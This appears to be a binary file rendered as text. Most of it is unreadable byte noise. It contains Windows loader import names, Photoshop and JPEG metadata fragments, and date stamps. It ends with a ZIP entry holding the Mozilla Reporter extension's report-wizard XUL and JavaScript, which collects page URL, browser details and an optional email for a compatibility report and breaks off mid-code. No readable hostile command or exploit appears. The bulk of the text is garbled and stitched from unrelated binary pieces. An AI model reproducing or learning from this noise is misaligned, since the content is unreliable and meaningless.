{CQ0*1w9
4Wr7%x{
<)~@mWV
`Z_IDJAtY<i-i
6t<rzt5<`[5L
E;7]A7JKd|JI
li3@kg
WeN)bJ
>3gJF%Lj
B^L<J#%G*6=lf
Tn#qn)r.0
wX8OZm?
CWsi0>
2NbXy4Ro71!6E
'QXqE6
Tmd7 E!
3q4.p=[);"r
H,u"[
ZPv,@J5!-
?zw!.RrM+<
wQkMS&P'P1
YR|7^RVM0iqC
\bw>_|{
WwbfwBL_m
~(N'5&/q{'9
\~c!{MFz|@m!Qk>C&
L83C^(%=
rN4RE^5wH]
z:wy@NaW:c5Si2h
<9Aj?Q)d77(+
^qyc;03Zet
$nggb
9i'eZU$!w
M!@/ce8
zr:S;2__Qx9p=`
a"DJe&dS3$)*
f%o9q\
hm1\GY
WO4O0k
)f/q0fP=
e7NhV7xU
+5C9&I
@sEuQr
+w5kV%5
0dV+ghQl0^/
>fBX&D
C.V7zyic,
8/5$DJ~A{D=:D
gb@U+-
TC2F-a=GP
v%ezB&j1Li
!-Ci~0
)ttg=y|
_ATRPx2
y&Fyuv~^r
bk'+$#*7^'Lz
!rZaz&
^Hmyqk
Ipx&(
4Pxt.$
FHg^BL8YoR
l)"]%l#
/x*_UL'2
NLy`dsf2GK*a,
|i_w<Y[
_H#|Dc
s2xy{`
w"g]P<
0;mfh})b
7CUq]CMC
jV9z)]Jl?
C@EP7$1
f@U2|*lc
Gm18xu
]yJT_}
{pY."h=U
`ZHL~`
1w.7BgpY
Zdp/Rn>
>?i/Ow
apHgV1+PrLd
!i6d@G[
#>BOIr1:%
r>r+HE
wsIAwh<e
/Gn6g1.gUij4H^m2
nITgLTmnvt:9
Y0Kb.Pp/8XiQF>+lp
O0jw%#-
Kl$;.jB%
9`R#IA,n
Texk`%
P#qd\lKB
<*sfk;k
.v^Z[$
qz{W(g8i!D7;uM
tVxNg\
Cb(3>
HVpag]Sn?lQ
YEB~0sqq[
:t_]BJ
skX#r[yzum&wL
p5v{9Fo
Yc>#~^q9?
bkGV-}:
r#hKgb\;
<|Kr9%|
m:Cs^W?+6g{EA23!
aEP0oh3QzLY
H/0\.]
6R]qW>EK
#0 1XiY
@?j&Y($/
0i2nyK\bF
L@8|V,
f.%tS-
iLOls;:
+A'QZ`
wxG]Aa
3yXOq6q;?91q
AVrLMq[+zMOy#w`
vSA'?T
\IT`mN[Q
~,b#*2r
|syW)wH8
A(dXS|
bsl(&o
PmeCv7KjZ:`\}OX
XmO+4V3UNXko,z0dU*D
IU+NdafDum
S"y"Zh
w{5pLy
&/LbxVnE{b4
]<l)$E
(j.LF1
'r;W8}
~T$ivBr
:2&<*&Qe,wj7
;@p"Wy)
d?[xn-#|7m0
kd#a`/
ngN`\DO
h2PswM
/}'_$T
O3|yRG
6%6EDSD
f8'F~=8J6=
GvE2Hl+*@A3O'
80sNSor
vda{& f
cjk_T}+j
q#Kc#i^?,
N#>f\xZ-b
rI2"T?m.FS
~![V&8
tvVEUa7d
{M}Ueg
Pv\o(a8E/,3Ky
9ulAnG)n}
s4jCT?!1|
[KLm1&QOkOq
fU8D8*
!1o?|j7*+`5
0=_l,G_L
^dmI^yp`lP%#%
1puvv\
G-QJD@
FAt_;$<o
`dyv'8
S+#NXV
z~E<z/
!1Na>Jq}
~z\qyE
FE8UZ1&&
@+7cs`
E?x]='
ZaOrF~
gYUFwbZlr
q[%FQx
eIS}<[g!
(2,u73
7oFNLqd
g5UVuZ~
:Ig{8m
QD(QI%C'P
-BT=Cg~\
Eh(qB
%&;FX%
2dE~4^9
{BQd!,r
uVKc1hg
~R0h[b
+Roj?k3eZ
fU,;j}k~
Qx0d.'
3qwIDblZ%
Nm-Z w
p,tUVv
d2:@nPmD036[l
:12DT*p,Wdyv$e
Jsieoc_
c\Ru~=
=!W+BP
+}eDR.Ml:'X
F={P4{a
:D\r8yA
70L92AoU
$\{gI{
_>/~07
Cu"$i{xE~9P@km7"
chcYp+/'
VvS]D!@.8o5V4+
nU#6~
uHO>M?C
8N9t=,7
>zLC9[uO
92V'>h1BuZ/%j
bS. *KDg)t0
O7B[(N
U(l'?XsS\/u$Ii
J__B@y
+TWH,2
kernel32.dll
LoadLibraryA
GetProcAddress
VirtualAlloc
VirtualFree
m2_ KW7n
OQ?*CT!
8!5@|K
9w}iX=~L<,
Hq]C<.+
?C&i"p
;==$?K@]
v!pc}nw"J
d"qPw,
{ia0dVD
>z%voql
3hKt2?}
8 JQY'
-Y,'/>owL
!DV,8Jb
F3_Jg6
y$O=Vb
2qia_?upw
T\>FND
ModulqHan8
Virtopc>ken*32+
ZPY[z]8@
+>(/P"
H+SlM8!
{BtpyL(+
P/(#vjE#hM!"xV4
!J*YO*AW$^@f;M
D$4HSUVPg
6A|$ l
\8T<>#
v0`Zf#
9hD-*
9$$ ?|
;0xUeN
:@97oJ
+Pz%}T`oe<~Wq
405=QtL
vB*(3H%Iw]
Dd"B7\
(1XdS!a
N~0SvJQ
~}U?_(
90sk$M
sFpRph
cN,4+KQ07!'
A,R?B-
%# |"!
uD3Z~X0
fdb;u}
'nPPCN1tMs
!Z`;h2=2
dT)}&nAH+6J^|
@tKwFQ
B_^/b2
XY^WVi
PO:M9W
,QAj@Rw3:
]F:9Fu
g!{PWQSL}@
i7Xt|H,!
A|Q@,:Zha]oM9%
Nr'`Q6
vq"d4n
9l@L04+
pUWmsvb
{ u.Th}e<cdc
%sy5|lntba6id|SDqLG5d,al
uj'XGvMagB
wP=tfNfExitPL
}~ActNCO;b2!
n$zH[QY9
<$J0dkX2
`t$$|$(3
r+|$(|$
USQWVRW
ZPR3C
Z^_Y[]
3/12/2019 BM6$
itWeK`H]FuS>cF4O9+7(
j{]hK9
b$_saf
p o:oOt`vgxjym|n|nv_jIZ)@
taL7*@, {Y
o2hOgYfWgHfKfOgOiRkWp[uf}qy~qdGKsN
h5\IYFW<V6~`0_e.V5U5X7Y;Z>WFZMaPfSl[
S=P9P-M(K%G!qZ#6k%M!H"K$K)V!
f"G0G#E
}vJmd8dF?
lB-U;Rk'E`"`d2jGL
Ek#Vf+jj>T'0
Fh%w]/V*>
f[%W)E
?h&R#H
< @"D#F&G
H+F970'
;!A$H'M%Q4RGQSS
S+RPPC4"
>F&M*U,Z)_K^Bb)c-`
\iocP=%
I(O+X._2f9k(n5ndr2k6i#`"ZtgP7
L'P,Y0b9kBr=wzy
Aw>o'e
="M,X0b:lKvJ
DyruX7
4*R/^7iHtY
{C_V@
L3f?rI
7winy$d-Y&K
Lt0g-Z%J
F|Cr4g-Y'J
3v+f,W'I
koo[/\
8A;;B
zuph\T
3/16/2019 13/16/2019 13/16/2019 1
Photoshop 3.0
Print Info
Resolution
FX Global Lighting Angle
FX Global Altitude
Print Flags
Copyright Flag
Japanese Print Flags
Color Halftone Settings
Color Transfer Settings
Guides
URL overrides
Slices
ICC Untagged Flag
Layer ID Generator Base
New Windows Thumbnail
Rb34rC
UeuF'Vfv7GWgw
B#R3$brCS
dEU6teuFVfv'7GWgw
TI%)$IJI$RI$I%)$IOTI%)$IJI$RI$I%)$IO|
|S0l5f:%e[
)A/E3:M
&Z+?u5~Q
ng!NI:jI$B%
eoaylW
m>>-[CX{?X
j~?Xrk
6]e~Ef
}(c]Uuts}OM:
EE![eQns
Z.mm>hk99
b~?LnI
<<zah[+mOv)0{
N&scbDv^3
khv6uM
C?\}8u
xCCcUg-P
t*lm]C
hun$4cW
2mIgK<
}%%W7L4Wxa2Z-h6t;TI%<
S]_WAh
{y?KX[g}p
qoZD%"U;pu57
usHyuW(h
o3v`s7ow'7,5SK]
jqhc1'
UMx4WM-
}OY6j=/S]"S
TI%<~X-
v~-Euk
jUX&<G
klU_X^>
6GhDPSY~9_oy
j_-"y3a
^4Z"C\^}6g
6f_TI%)T
*ivncy-F
~sHGDS$
)$IO8BIM
Version compatibility info
JPEG Quality
!Adobe
`"@2PA3
" aq2#
AQ aq"
@P`Rbr
|smPMbRZ
-mZd>ym
qU=q+9
d@q<+E2oYV8Y_37.5.x
$08 (G
5;,1{^mOp<L1
BhWo8
){W]9}/
U~KwPK0
$u-r"28
6KYrI"Cvm
m$YZ\S]}j`
hRpvH
+<b!]^C@.7
Qib2I\.x_
}&FIb/
s&c=z7 rCR$
)MDnd&s
78AQS%R*g0+u[4*zp5H
UW9)EVLLP@B
!TL>m.'
G1ZE-a
dQ'Rvit
8|/HS;
]3G%].
FW]3E@1#
D;$db.T
S@>@!@h
3D96l p
BK1mGa
ByDxbx(
W;y0Xn&(k
r+lS7?QU
a>4e6x
:$#2lMkY
''3Iud2|c
2!KW,x
yK{2xOA5O
FPL70n^0q
JI2`#(?j
da7T<Xa?S
VWJIke=>
>.DMHsUS\'+rkQ
N! ])+c
cpD@#a=
(@t&({
9YTfA8um.
j"q;Y=qj!8)|%f{/
|;Z3naBI
Sbc#0C!p[$?zv
xE~XeNnsJ
f5}|.R`
`p*=e;U0Lk&
O"Ak50%n
y'u#JK.
fPH!1\,
Ho7 Oj
>|+kiwo
Nnl4:mfP
="s%wN
P{T'F@wi&(l
mXuyHh
RC6=e;whn
lVB,Om
H+sQQ]0AT;f
{isHsIU
9Gz(Skw]v
Q{qh<)!
Rp/]jc!
p)zqd/p
|%sp%9,R.kr^
%/^ =Y\
sap{jW
N5u?$o?
-9zUY-,(X03^+')=x
iHdjv_/
2)XVV(]+Ux
9_e]:8
1^&>t*:
w!^#A+N{`BrUWE
f2wm&/yW
5Q>MVYkMq
97IE<f
5<F`0 UvbIHFGK{
6U=U;AY
8#k3ZKy4
=z1cA-A]T
8Rz*Z@Kt'z %
I()')$/jR
JP,~@%T
#|=u#myv
y/+pj;
mL4F;ug2tY\>H|
l=Q+;u
OU:yVVc
lwY3!]
2N~v21
IA'jRt(13
-QJIe
c3I75!A'p
n7j+\VRd7Zz\ULEageE+,
/9o3d+`byZjcBHP
{k&m|Gq
#!EL8|wFLPQ-u" h
\mh;V=
bJ,3bQ@vJIT_
2b2ABDa"n3kHZ
#c2d9Pl6XjKq
v0veC1
cW8_ZK/j
{5v{M*[9u0s1MODwPnK2
%5PgY%vk|,
's:ZZ1
R4f)NQZV
Haftf3+h8jR!mn($Px
%6m\\tUIW23
&nE\kpvS[&VqHBGS
6/I"%+R
R`PfsN
]$Bvpq
E}=ev+]n1.
^0ISm1{
9f%{oA(:T
`FCM 2
%zSrV$P
20^iYK<3!
}GeTin
s!n{T#"
usM2*b
XifQQ)P
2ZUc;4X
V,%Q>KZ3
KzBY+qH
IPzl]JT
WURCu@:u/7We1=dGr=+l
sE 0iLr|ZCV
$[\JT5;
2P jPI
k)_}M<
p.wWLS 7x,
)+'Sy/
-!,2%$-
:e)Hi4
KBJhd#iJ
6j4SU(
"I:Rv!dF
$ 2Q#BtG>q
N+q$Kqbf\|N?Y#)
6))e)9^Yy\nG
'sjlZR
d(CUqD 8\t
v(&G w
'\49,G2
QH)W5I[
mOJHuBCw3Qj@#JzlO6
PaWTkS
Ca&Z[d<66o
iC36dHBWo
_-W!.lDtJVbJ=8
{tNI10IZ
AV)66mm
[A+% Su-"~
S J=A|~o
Fdc'.T+
e=(+rJ
[mR}FAz
-s?$n%d
[[KO"e
PRv"D~
"x+|mZ
ARiNzf
TOtwVY^c
LIBt `
#&.EUAZ
>~'J2=Io8
E6|Xjw_u"AT*Z
UUhRtQE
$y9/b
nG$))u
^qI@HID
CSeRSw+Y
=4S2Y%MZ[JJ
)!hSj>ARO
(4##`X
p itT"4]'r[wq=>
QgK)?%DmqR
zlm%a:5
h(MM'q
Ci5)7PiA@u=%(F
?2@${` )@
iAR:n?|)
}3/24/2019 3/24/2019 3/25/2019 1BM
DDDLDDDDDDDDDDDLDDDDDDDDDLDDDDDLDDDDDDDDDDDDLLDDDDDLLDDDDDLDLDDDDDDLDDDDDLDDDDDDLDLDLDDDDDDDDLDDLDLDDLDLDDDDDDDLDLDDLDLDDDDDDDDLDDDDDDDDLDDLDDDDDDDDLDDDLDLDDDDDDDLDLLDDLDDDDDLLDDDDDDLDDLDDLDDDDDLLDDDDLDDDDDLDDDDLDDDDLDDDDLDDDDDLDDDDDLDDDLDDDDDLLDDDDLDDDLDDDDDLLDDDDLDDDDDDDDLLDDDDDLDLDDDDDDLLLDDDDDDLDLLDDDLDLLLLLDDDDDDDDLLLDDDDDDDDDLLDDDDLDDDLLDDDLDDDDDDDDLLDDDDDDLDDDDDDLDLDLDDDDDLLLDDDDDLDLDLDDDDDDLDDDDDDDLLDDDDDDLLDDDLDDDDDDDDDDLLDDDDLDDDLLLDDDDLDDDLDLLLLLDDDDDDLDDDDDDLLDDDDDDDLDLDDDDDDLLDDDDDLDLDDDDDLLDDDDLDDDLDDDDDLLDDDDLDDDLDDDDDLDDDDDLDDDDLDDDDLDDDDLDDDDDLDDDDDLLDDDDLDDDDDLDDDDDLLDDDDDDLDDLLDLDDDDDDDLDLDDLDDDDDDDDLDDDLDDDDDDDDLDDDDDDDDLDLDDLDLDDDDDDDLDLDDLDLDLDDDDDDDDLDDLDLDDDDDDLDDDDDLDDDDDDLDDDDDDDLLDDDDDLLDDDDDLDDDDDDLDDDDDLD3/28/2019 13/28/2019 13/29/2019 1
&Photoshop 3.0
Print Info
Resolution
FX Global Lighting Angle
FX Global Altitude
Print Flags
Copyright Flag
Japanese Print Flags
Color Halftone Settings
Color Transfer Settings
Guides
URL overrides
Slices
ICC Untagged Flag
Layer ID Generator Base
New Windows Thumbnail
Rb34rC
UeuF'Vfv7GWgw
B#R3$brCS
dEU6teuFVfv'7GWgw
kRRd8-
cY^Llu;.27,mI!
'M>)cb{1b}Mx
?F5u62*1
bw*'i$:bI$
+1[;tRe?/6YON=:jZ
]q42f>;7
mrq3"J
mv{m'~E1*l5
_k]f5>|fllZlfa^/-o W-iqDg7
z/ef;xp;m
' ;$R-
32?C1Z
`[5moQz]x}s
5IzhN{FgU?Akc;f
Fzxuz;
R}}K+]l1
UN;nUq']_!O-`<
*=;l5n.;w_
uL\`jk6=H
kJoOao4g<_+j
{=[\V5
_g=5ED
Szi$Dvoa
5YzY8b
;4b\.7f8
re?a5/
o{cy4}o
zM:=ud:ZsF1i27dd
>Pe6HVpv=ijem]
fBX1/$M
pT0[.`;qZ]N>{E
26Vc}[[
kgn??}#,#OsJs:F^
[>iGXkj
tX-}gn+
uI$<\K2(7kC`lkXG_
-f5"im
8pSpe(
v@%-q p
a PcZ!
S%.0<xL-Eck@=8
:Tlh<b|S
(NJY:I$
Version compatibility info
JPEG Quality
!Adobe
P1A"#$
AQaq"
@Pr3$C%
`]P*uK
G:|NX]v
Y=:*6wRzY
\;>6<v>|
4Q/~gpJ{6
Xpy%$ZQEHu.[
%oHh<v=8
[_7gZN
]z>x#K
p9CY5.
jy?<=[
t5`VnL_U
AOI]3;u9.^x
SZZ0<]V
Sbfji$Hl
j/7k,b
h[^VTNu(39h
'>'VU+
QZAi<jjS<$
g/Y2*31
--$Mcq/
Y@)~52
2tqZq}G0
7-SSm.
~:V|Z'
d+/_q8
I+oW`"!abp%
I.G08e,J[\Xq2&[{*FhyK
H:YF,}(qu
*BEYa
v89S#ct3$%BA1Q
T!ZEvQOI(D+c
XTf"|
W!f0f%[
*1q"qD
9Qvqnk6Is
;6fBmxogV^QQRqlhR>t
3uY]}cKMIW
e,T[ MpATLU
Y$-Ls)~
V9$7Q_@
OD*1@@
B<B[wZ^-@
!9K9DwB`
R<RL-9ET
c7UAk0
:>f^"FQh
>BAd};MZse
x3##)Uu
F*@`9e
|b1w:dA
Qt}5}l,^3ky: e$|
pST`Ow/
V}o#KJ'`mb7
,ULN`w|uYzR
IR?`1inV
f)`z|H
DJTGb$n
;vQn@2`@@
IPM0L@
@5k`}7
/;OfjmR
,w$~Fcd I(ylzCd
lYyFyN
! {R.o;=
}#mVLKU-k
eB]kul
81;DN1V?S+`
!nZ"Ma "^1nj
IDL\AwVuls
10^P*/=N
>]14*
*5zX0^8`
OXu$E\N0b&v
nm2v5p
ZzJ;j!
HxG#8T)
1e[W>w
5)5O@O
G-Q; ze(#?Mi{N
8q0=e}
hen4@kZ
EPSL5k2
;Hmg{$
@ U,}G
@rOLb&
H.(P4N&m-9JW)
trW<6S
,)U8OgB7kikWk
Rk%:s;P
5(H8(j
"!sa,0z
=FSae7bx5
xUQN?SB
=c-_E{V-
<{B[J6&
sposPr:
%#C_\\Vpy
RuPfv!
;]&Ps;
Cym9pR@
j8ApL;
~tr@k4
J4Ph.8fJ
Y4\"0w
{j.Lf
gNRBd3e(\9
C~X0r+%S29|>|
s}Dup&E
g.]K@g
pFj94:li.ikqzW0
j:=P6uAr
5NNwS*
qfi- ")slr#C
H !2"*Yzy(.`#\$DF
;1S5r`
&Yw$Th!G
GCCVT~YW`X)NI9l3l[Uo+
~42v",Xz<
.AQas!%]
4UXuk}xWNd
Y.1ms.
Llz@2\O
d;}7TspuG2
;:45I
7SmE;V
Krz|_&+>?1U
4)-<Nokn
&e<e_!
hK$elnGZKPD
\s:z|I;RBKFO_`
tsE)cS:
J#n3|:
/%ox${
=1>2?J
71C3\F
q>~~E
Fpo!a,c
b.,q8)
Tmm1#^!cbB
VD1` Cqs&
pBg2Gh-a
K||oqj]
rU"nGFU;2
>/~vZx;
W@:l>6
dhcI..\<
o|1k,H~'m
D46e/=)CZ
LS<-rQ#-G!%$
@x|o9l-)^%gmyn
zM8djGms!cPJ
h?RZZZO]Zo
~|g$;\[4G/!L
u0]lux
da$4M )
VT!o$bdx*u
uB@u>}z?8
DxDU?u?
y.vL'W
r_y0M?
@he,$,
{,\p!ORvUIJwxwU
W^i@;C
5EMket'AX/
oMm"JVmO\/
pc.'p{a2%
{/~rW9,
[\.m",+Vk*
\e,DD#Xc(% nue3|zn)qs,Ac--
)|!`GXOI
]o2Oe,
KgiZuhp
?uRi@{@
y\<Wy`V
.ukr.y/&LOy
zhap5Iy>
RS&_k:
cYs5v
*8}(qi[f6`
/G\\%6s^PwS#k`X
+,QecU7
]J=c~<cc!Z
p&dElc|
~]*M:\emOc
11`(iYKY
v^18"r-q.x
7M$F=X
I@{Hhu!A;
:?1E$9NO
*J>=<r
d.U~g]ZJ
-H#$aX]2
zr:m)fA
{c>w2dZM
qL(y
lC2Lvo+
]s\_I=
/GSqW<
TRhOn8
@w?'x<:
INkfy?gy
_NR?MVP-6E#
)Bo>+dVb?.ZnF
VVOGz[9Y2k
iIQVT*J
NT[[iz}<F[s
C)OQj@
]E$/{,
JuNj#RA4Cui5
OJ$K%V8"
OhhG`GAiC]G
SA^x0F;T'
zhhakD
tg*ueUjNld;
!M}ZW[h
iTRtui
Jw~Y](
cONKZB
=G'X2t:
kyT<f8;.
6= vWsZ
\?i+6{z{Yk#!SZ
Tz15@a
=.+>;uMF^
:Smtw#
Wo~]*
u#BR}O
iF]ETU_
4/1/2019 14/1/2019 14/1/2019 1PK
content/reporter/reportWizard.xul<?xml version="1.0"?>
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<?xml-stylesheet href="chrome://global/skin/" type="text/css"?>
<?xml-stylesheet href="chrome://reporter/skin/reportWizard.css" type="text/css"?>
<!DOCTYPE wizard [
<!ENTITY % brandDTD SYSTEM "chrome://branding/locale/brand.dtd">
%brandDTD;
<!ENTITY % reportWizardDTD SYSTEM "chrome://reporter/locale/reportWizard.dtd">
%reportWizardDTD;
<wizard id="reportWizard" title="&reportWizard.title;"
style="min-width: 535px; min-height: 442px;"
xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
<script type="application/x-javascript" src="chrome://reporter/content/reportWizard.js"/>
<stringbundle id="strings" src="chrome://reporter/locale/reportWizard.properties"/>
<!-- Privacy Notice -->
<wizardpage id="privacyNotice"
onpageshow="initPrivacyNotice()"
onpageadvanced="setPrivacyPref()"
label = "&privacyNotice.label;">
<description>&reportWizardPrivacy.description;</description>
<vbox id="privacyFrame" flex="1">
<iframe id="privacyStatement" type="content" flex="1" src="" />
</vbox>
<description id="mustAgree">&reportWizardMustAgree.description;</description>
<vbox>
<hbox>
<checkbox id="dontShowPrivacyStatement" label="&dontShowPrivacyStatement.label;" accesskey="&dontShowPrivacyStatement.accesskey;" oncommand="privacyPolicyCheckbox()" />
</hbox>
</vbox>
</wizardpage>
<!-- Report Form -->
<wizardpage id="reportForm"
onpageshow="initForm()"
label="&reportForm.label;">
<description>&reportForm.description;</description>
<separator />
<grid>
<columns>
<column/>
<column flex="1"/>
</columns>
<rows>
<row align="center">
<label control="url" value="&reportForm.url.title;" accesskey="&reportForm.url.accesskey;"/>
<textbox id="url" size="60" readonly="true" class="noborder"/>
</row>
<row align="center">
<spacer/>
<checkbox id="behind_login" label="&reportForm.behind_login.title;" accesskey="&reportForm.behind_login.accesskey;"/>
</row>
<row align="center">
<label control="problem_type" value="&reportForm.problem_type.title;" accesskey="&reportForm.problem_type.accesskey;"/>
<!-- XXX: Perhaps this should eventually/maybe come from somewhere else? Eh, not sure so lets just hardcode this for now. -->
<menulist label="problem_type" id="problem_type" oncommand="validateForm()">
<menupopup>
<!-- ************* WARNING *************** -->
<!-- DO *NOT* Add/change/modify without consulting with r.m.o server admin first! -->
<!-- ************ /WARNING *************** -->
<menuitem label="&reportForm.problem_type.chooseOne.title;" value="0"/>
<menuitem label="&reportForm.problem_type.item1.title;" value="1"/>
<menuitem label="&reportForm.problem_type.item2.title;" value="2"/>
<menuitem label="&reportForm.problem_type.item3.title;" value="3"/>
<menuitem label="&reportForm.problem_type.item4.title;" value="4"/>
<menuitem label="&reportForm.problem_type.item5.title;" value="5"/>
<menuitem label="&reportForm.problem_type.item6.title;" value="6"/>
<menuitem label="&reportForm.problem_type.item8.title;" value="8"/>
<menuitem label="&reportForm.problem_type.item9.title;" value="9"/>
<!-- Other problem: must be item #7 and must be last -->
<menuitem label="&reportForm.problem_type.item7.title;" value="7"/>
</menupopup>
</menulist>
</row>
<row>
<label control="description" value="&reportForm.describe.title;" accesskey="&reportForm.describe.accesskey;"/>
<textbox id="description" value="" cols="40" rows="5" multiline="true" size="40" class="noborder"/>
</row>
<row align="center">
<label control="email" value="&reportForm.email.title;" accesskey="&reportForm.email.accesskey;"/>
<textbox id="email" size="60" class="noborder"/>
</row>
<row align="center">
<spacer/>
<hbox>
<label id="privacyPolicy" class="text-link"
value="&reportForm.privacyPolicy.title;"
tooltiptext="&reportForm.privacyPolicy.tooltip;"/>
</hbox>
</row>
</rows>
</grid>
</wizardpage>
<!-- Send Data -->
<wizardpage id="sendReport"
onpageshow="sendReport()"
label="&sendReport.label;">
<description>&sendReport.description;</description>
<separator />
<description id="sendReportProgressDescription"/>
<progressmeter id="sendReportProgressIndicator" mode="undetermined" value="0%"/>
</wizardpage>
<!-- Finish -->
<wizardpage id="finish"
label="&finish.label;">
<textbox id="finishSummary" size="60" readonly="true"/>
<hbox>
<checkbox id="showDetail" label="&reportResults.showDetail.title;" accesskey="&reportResults.showDetail.accesskey;" oncommand="showDetail()"/>
</hbox>
<vbox id="finishExtendedFrame" flex="1">
<iframe id="finishExtendedSuccess" type="content" src="report.xhtml" flex="1"/>
<iframe id="finishExtendedFailed" type="content" src="error.xhtml" flex="1"/>
</vbox>
</wizardpage>
</wizard>
}e7IF;
content/reporter/reportWizard.js/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Boris Zbarsky <bzbarsky@mit.edu>
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
/********************************************************
* *** Warning ****
* DO _NOT_ MODIFY THIS FILE without first contacting
* Robert Accettura <robert@accettura.com>
* or a reporter.mozilla.org Admin!
*******************************************************/
const gParamLanguage = window.navigator.language;
const gRMOvers = "0.3"; // Do not touch without contacting reporter admin!
const gParamURL = window.arguments[0];
const gParamUserAgent = navigator.userAgent;
const gParamOSCPU = navigator.oscpu;
const gParamPlatform = navigator.platform;
const gCharset = window.arguments[1];
// Globals
var gParamDescription;
var gParamProblemType;
var gParamBehindLogin;
var gParamEmail;
var gParamBuildConfig;
var gParamGecko;
var gPrefBranch;
var gStatusIndicator;
function getReporterPrefBranch() {
if (!gPrefBranch) {
gPrefBranch = Components.classes["@mozilla.org/preferences-service;1"]
.getService(Components.interfaces.nsIPrefService)
.getBranch("extensions.reporter.");
return gPrefBranch;
function getBoolPref(prefname, aDefault) {
try {
var prefs = getReporterPrefBranch();
return prefs.getBoolPref(prefname);
catch(ex) {
return aDefault;
function getCharPref(prefname, aDefault) {
try {
var prefs = getReporterPrefBranch();
return prefs.getCharPref(prefname);
catch(ex) {
return aDefault;
function initPrivacyNotice() {
var reportWizard = document.getElementById('reportWizard');
// If they agreed, we continue on
if (getBoolPref("hidePrivacyStatement", false)) {
reportWizard.advance();
} else {
// Don't let users rewind or go forward
reportWizard.canRewind = false;
reportWizard.canAdvance = false;
// Load Privacy Policy
var privacyURL = getCharPref("privacyURL", "http://reporter.mozilla.org/privacy/");
document.getElementById("privacyStatement").setAttribute("src", privacyURL+"?plain");
function privacyPolicyCheckbox() {
// if checked, hide message and enable forward button, otherwise show the
// message and disable the forward button.
var canAdvance = document.getElementById('dontShowPrivacyStatement').checked;
document.getElementById('reportWizard').canAdvance = canAdvance;
function setPrivacyPref(){
if (document.getElementById('dontShowPrivacyStatement').checked){
var prefs = getReporterPrefBranch();
prefs.setBoolPref("hidePrivacyStatement", true);
function initForm() {
var strbundle=document.getElementById("strings");
var reportWizard = document.getElementById('reportWizard');
reportWizard.canRewind = false;
document.getElementById('url').value = gParamURL;
// Change next button to "submit report"
reportWizard.getButton('next').label = strbundle.getString("submitReport");
reportWizard.getButton('next').setAttribute("accesskey",
strbundle.getString("submitReport.accesskey"));
// Set the privacy policy link href
var url = getCharPref("privacyURL", "http://reporter.mozilla.org/privacy/");
var privacyLink = document.getElementById("privacyPolicy");
privacyLink.setAttribute("href", url);
// We don't let the user go forward until they fulfill certain requirements - see validateform()
reportWizard.canAdvance = false;
document.getElementById("problem_type").focus();
function validateForm() {
var canAdvance = document.getElementById('problem_type').value != "0";
document.getElementById('reportWizard').canAdvance = canAdvance;
function registerSysID() {
var param = {
'method': 'submitRegister',
'language': gParamLanguage
// go get sysID
sendReporterServerData(param, onRegisterSysIDLoad);
function onRegisterSysIDLoad(req) {
if (req.status == 200) {
var paramSysID = req.responseXML.getElementsByTagName('result').item(0);
// saving
if (paramSysID) {
var prefs = getReporterPrefBranch();
prefs.setCharPref("sysid", paramSysID.textContent);
// Finally send report
sendReport();
return;
// Invalid Response Error
var strbundle = document.getElementById("strings");
showError(strbundle.getString("invalidResponse"));
return;
// On error
var errorStr = extractError(req);
showError(errorStr);
function sendReport() {
// Check for a sysid, if we don't have one, get one it will call sendReport on success.
var sysId = getCharPref("sysid", "");
if (sysId == ""){
registerSysID();
return;
// we control the user path from here.
var reportWizard = document.getElementById('reportWizard');
reportWizard.canRewind = false;
reportWizard.canAdvance = false;
// why would we need a cancel button?
reportWizard.getButton("cancel").disabled = true;
var strbundle=document.getElementById("strings");
var statusDescription = document.getElementById('sendReportProgressDescription');
gStatusIndicator = document.getElementById('sendReportProgressIndicator');
// Data from form we need
gParamDescription = document.getElementById('description').value;
gParamProblemType = document.getElementById('problem_type').value;
gParamBehindLogin = document.getElementById('behind_login').checked;
gParamEmail = document.getElementById('email').value;
gParamBuildConfig = getBuildConfig();
gParamGecko = getGecko();
// params
var param = {
'method': 'submitReport',
'rmoVers': gRMOvers,
'url': gParamURL,
'problem_type': gParamProblemType,
'description': gParamDescription,
'behind_login': gParamBehindLogin,
'platform': gParamPlatform,
'oscpu': gParamOSCPU,
